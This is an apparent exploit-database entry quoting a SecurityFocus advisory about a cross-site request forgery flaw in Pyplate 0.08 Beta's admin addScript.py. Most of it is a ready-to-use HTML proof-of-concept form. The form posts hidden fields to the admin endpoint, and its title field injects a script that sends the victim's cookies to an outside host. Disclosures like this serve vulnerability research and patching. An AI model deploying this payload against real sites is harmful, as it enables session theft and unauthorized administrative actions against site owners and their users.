Pyplate – ‘addScript.py’ Cross-Site Request Forgery
source: https://www.securityfocus.com/bid/67610/info Pyplate is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. Pyplate 0.08 Beta is vulnerable; other versions may also be affected. <html> <body> <form action="http://www.example.com/admin/addScript.py"; method="POST"> <input type="hidden" name="title" value="<script>new Image().src="http://bugs.fi/evil.py?cookie=" encodeURI(document.cookie);</script>" /> <input type="hidden" name="file" value="bugs" /> <input type="hidden" name="category" value="/" /> <input type="hidden" name="post" value="<p>bugs</p> " /> <input type="hidden" name="tags" value="" /> <input type="hidden" name="description" value="" /> <input type="hidden" name="state" value="new" /> <input type="submit" value="Submit request" /> </form> </body> </html> |